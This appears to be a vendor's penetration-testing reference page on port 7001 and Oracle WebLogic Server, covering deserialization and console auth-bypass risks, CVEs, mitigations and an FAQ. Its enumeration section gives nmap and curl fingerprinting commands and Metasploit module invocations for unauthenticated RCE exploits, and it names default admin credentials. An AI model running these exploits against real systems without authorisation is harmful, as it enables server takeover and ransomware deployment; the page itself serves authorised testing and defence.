Port 7001 – Oracle WebLogic Server

Port 7001 is the default port for Oracle WebLogic Server, a widely deployed Java EE (Jakarta EE) application server that runs a large share of enterprise middleware — banking back ends, ERP, SOA services, and the whole Oracle Fusion Middleware stack. On 7001, WebLogic exposes two very different things at the same time: the browser-based administration console at /console, and the proprietary T3 (and T3S) remote protocol — an RMI transport that carries Java-serialized objects between the server and its clients. That combination is exactly why 7001 has one of the longest unauthenticated-RCE histories of any enterprise service: year after year Oracle’s quarterly Critical Patch Updates ship fixes for T3/IIOP deserialization and console auth-bypass flaws, and ransomware and cryptomining crews weaponize them within days of disclosure. An exposed port 7001 is a first-tier target.

Why It’s Open

WebLogic is core middleware, so 7001 is open wherever an admin server runs. A default install listens here for the console and for management, deployment, and monitoring traffic, while application clients reach EJBs and JNDI over T3/IIOP on the same port. You’ll find it in corporate data centers and DMZs fronting Oracle Fusion Middleware, E-Business Suite, and in-house Java EE apps. Teams usually put a web tier in front, so an open 7001 often sits beside the app-server / proxy HTTP layer on port 8080 and HTTPS on port 443; its TLS-wrapped counterpart runs T3S/HTTPS on the secure WebLogic SSL listener (7002 by default). Because T3 is just RMI under the hood, an open 7001 is a close cousin of the Java RMI registry on port 1099 — same serialization model, same class of gadget-chain RCE. Note that 7001 is also seen as AFS callback or Cassandra-over-TLS in other stacks, but on the public internet WebLogic is overwhelmingly what answers here.

Common Risks

• Unauthenticated deserialization RCE over T3/IIOP. T3 and IIOP accept serialized Java objects and deserialize them server-side. If a usable gadget chain (Apache Commons Collections, and later variants) is on the classpath, a crafted object stream runs code as the WebLogic account — no credentials needed. This is the signature WebLogic bug class, from CVE-2015-4852 through CVE-2023-21839.
• Console exposure and auth-bypass RCE. Reaching /console from an untrusted network invites default-credential logins and the path-traversal auth bypass (CVE-2020-14882 / -14883) that turns a single crafted request into unauthenticated code execution.
• XMLDecoder / SOAP deserialization. The wls-wsat and async web-service handlers deserialize attacker XML, the flaw behind the mass-exploited CVE-2017-10271 and CVE-2019-2725.
• Version disclosure via the T3 handshake. A raw T3 handshake returns the exact WebLogic build, which maps directly to the applicable Critical Patch Update CVEs.
• Default or weak console credentials. A weblogic / system admin login means immediate takeover — deploy a malicious WAR and you own the host.
• Internet-facing management plane. WebLogic’s admin surface (console, T3, IIOP, WSAT) was never meant to face the internet; exposure alone is a high-severity finding.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Detect the service and version

nmap -sV -p 7001 <target>

Fingerprint T3 and read the WebLogic version

nmap -sV -p 7001 --script weblogic-t3-info <target>

weblogic-t3-info performs a T3 handshake and returns a line such as T3 protocol in use (WebLogic version: 12.1.3.0); that version maps straight to the Critical Patch Update CVEs below. (It does not speak T3S, so check the SSL listener separately.)

Probe the admin console and grab the build

curl -sk https://<target>:7001/console/login/LoginForm.jsp -I
curl -sk http://<target>:7001/console/ | grep -i weblogic

Metasploit — WSAT / async deserialization (CVE-2017-10271, CVE-2019-2725)

msfconsole -q
use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
set RHOSTS <target>
set RPORT 7001
run

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set RHOSTS <target>
run

Metasploit — console path-traversal RCE (CVE-2020-14882 / -14883)

use exploit/multi/http/weblogic_admin_handle_rce
set RHOSTS <target>
set RPORT 7001
run

Also worth a look: Shodan/Censys queries for port:7001 weblogic to gauge internet exposure. Log every open 7001, the exact version banner, and any shell you land as you go, so the evidence flows straight into the pentest report instead of a scratch terminal you’ll lose.

What to Look For

Known CVEs and Exploits

WebLogic RCE is best treated as a recurring family rather than a one-off: T3/IIOP deserialization and console-bypass bugs return in Oracle’s quarterly Critical Patch Updates, and most weaponized attacks target an unpatched build. The entries below are NVD-verified and scoped to Oracle WebLogic Server on port 7001.

• CVE-2015-4852 — The original WebLogic T3 deserialization. Remote attackers execute arbitrary commands by sending crafted serialized Java objects (an Apache Commons Collections gadget) over T3 to TCP 7001. Affects 10.3.6, 12.1.2, 12.1.3, 12.2.1. CVSS v3.1 9.8 (Critical) (v2 7.5). Listed in CISA’s Known Exploited Vulnerabilities catalog.
• CVE-2017-10271 — WLS Security / wls-wsat subcomponent. An unauthenticated attacker with T3 access compromises the server; the practical exploit is an XMLDecoder deserialization in the SOAP handler, mass-abused to drop cryptominers. Affects 10.3.6, 12.1.3, 12.2.1.1, 12.2.1.2. CVSS v3.1 7.5 (High). CISA KEV. Metasploit exploit/multi/http/oracle_weblogic_wsat_deserialization_rce.
• CVE-2018-2628 — WLS Core T3 deserialization; unauthenticated network RCE and one of the most-scanned WebLogic bugs of its year. Affects 10.3.6, 12.1.3, 12.2.1.2, 12.2.1.3. CVSS v3.1 9.8 (Critical).
• CVE-2019-2725 — Deserialization in the AsyncResponseService (async) web-service component; trivially exploitable unauthenticated RCE. Weaponized by the Sodinokibi/REvil ransomware crew within days of disclosure. Affects 10.3.6 and 12.1.3. CVSS v3.1 9.8 (Critical). CISA KEV. Metasploit exploit/multi/misc/weblogic_deserialize_asyncresponseservice; Exploit-DB 46814.
• CVE-2020-2551 — WLS Core deserialization over the IIOP protocol (T3’s CORBA sibling); unauthenticated RCE. Affects 10.3.6, 12.1.3, 12.2.1.3, 12.2.1.4. CVSS v3.1 9.8 (Critical).
• CVE-2020-14882 + CVE-2020-14883 — Administration Console path traversal. 14882 (9.8 Critical) lets an unauthenticated attacker reach a privileged console handler via a crafted /console/... URL; chained with 14883 (7.2 High) it becomes full unauthenticated RCE in a single HTTP request, mass-exploited within a week of the October 2020 CPU. Oracle then shipped CVE-2020-14750 (9.8 Critical) as an out-of-band patch after the original fix was bypassed. Affects 10.3.6, 12.1.3, 12.2.1.3, 12.2.1.4, 14.1.1. CISA KEV. Metasploit exploit/multi/http/weblogic_admin_handle_rce.
• CVE-2021-2394 — WLS Core deserialization reachable over T3 and IIOP; unauthenticated RCE that revives the gadget-chain technique against patched builds. Affects 10.3.6, 12.1.3, 12.2.1.3, 12.2.1.4, 14.1.1. CVSS v3.1 9.8 (Critical). CISA KEV.
• CVE-2023-21839 — WLS Core, unauthenticated access over T3 and IIOP. NVD scores it 7.5 (High) for data access, but it is exploited as RCE by abusing a remote JNDI (ForeignOpaqueReference) lookup to a rogue LDAP/RMI server. Affects 12.2.1.3, 12.2.1.4, 14.1.1. CISA KEV.

Mitigation

• Never expose WebLogic to the internet. Keep 7001, /console, /wls-wsat, and the T3/IIOP listeners off the public internet — front them with a firewall or reverse proxy and restrict to a management range. Exposure is the root cause behind nearly every mass-exploitation event above.
• Filter T3 with a connection filter. Configure weblogic.security.net.ConnectionFilterImpl to allow T3/T3S only from trusted hosts, and disable IIOP and T3 entirely if the deployment doesn’t use them.
• Apply Critical Patch Updates promptly. WebLogic RCE is a quarterly-CPU treadmill; the gap between patch and mass exploitation is often measured in days. Track Oracle CPUs and patch on release.
• Lock down the console. Restrict console access to a VPN/management network, remove or rename default accounts, and enforce strong, unique credentials.
• Front with a WAF and monitor. A WAF blocks the known WSAT/console traversal payloads; alert on T3 handshakes, wls-wsat requests, and encoded /console paths from untrusted sources.
• Prefer TLS. Use T3S/HTTPS with strong cipher suites and suppress verbose stack traces so error pages don’t leak the build.

Real-World Example

CVE-2019-2725 is the textbook WebLogic story. Oracle released an emergency out-of-cycle patch for the AsyncResponseService deserialization flaw in late April 2019 — and within days the Sodinokibi (REvil) ransomware operators were using it to gain unauthenticated code execution on internet-facing WebLogic servers, some of them still unpatched, and drop ransomware directly onto the host. The exploit was a single crafted SOAP request to a default-enabled web service on port 7001; no credentials, no user interaction. The same pattern repeated in October 2020 with the console path-traversal chain (CVE-2020-14882/-14883), which was being sprayed across the internet within about a week of the CPU. The lesson every time is the same: a default WebLogic listener reachable from the internet, plus a CPU the team hadn’t applied yet, equals full compromise.

FAQ

What is port 7001 used for?

Port 7001 is the default listen port for Oracle WebLogic Server. It serves the web-based administration console at /console and carries the proprietary T3/IIOP remote protocols that WebLogic uses for management, deployment, and application (EJB/JNDI) traffic between the server and its clients.

Is port 7001 dangerous?

On an untrusted network, yes. WebLogic on 7001 has a long history of unauthenticated remote code execution — T3/IIOP deserialization and console auth-bypass flaws that are patched every quarter and weaponized by ransomware and cryptomining crews within days. An internet-facing port 7001 should be treated as a high-priority finding.

What is the T3 protocol on port 7001?

T3 is WebLogic’s proprietary RMI transport. It multiplexes management and application calls over 7001 and carries Java-serialized objects, which is why it’s the entry point for deserialization RCE. T3S is its TLS-wrapped variant; IIOP is the closely related CORBA transport exploited by bugs like CVE-2020-2551.

How do I secure or close port 7001?

Keep 7001 and /console off the public internet, firewall T3/IIOP to trusted hosts (or disable them if unused) with a ConnectionFilterImpl, apply Oracle Critical Patch Updates on release, remove default console accounts, and put a WAF in front. If a server doesn’t need WebLogic exposed, restrict the listener to localhost or an internal VLAN and confirm with a rescan.

TL;DR

• Service: Oracle WebLogic Server (admin console + T3/T3S/IIOP)
• Default port: 7001/TCP (SSL/T3S typically on 7002)
• Biggest risk: unauthenticated deserialization RCE over T3/IIOP and console auth-bypass RCE
• Mitigation: never expose 7001//console to the internet, filter or disable T3/IIOP, apply Oracle CPUs promptly, lock down the console, WAF + monitor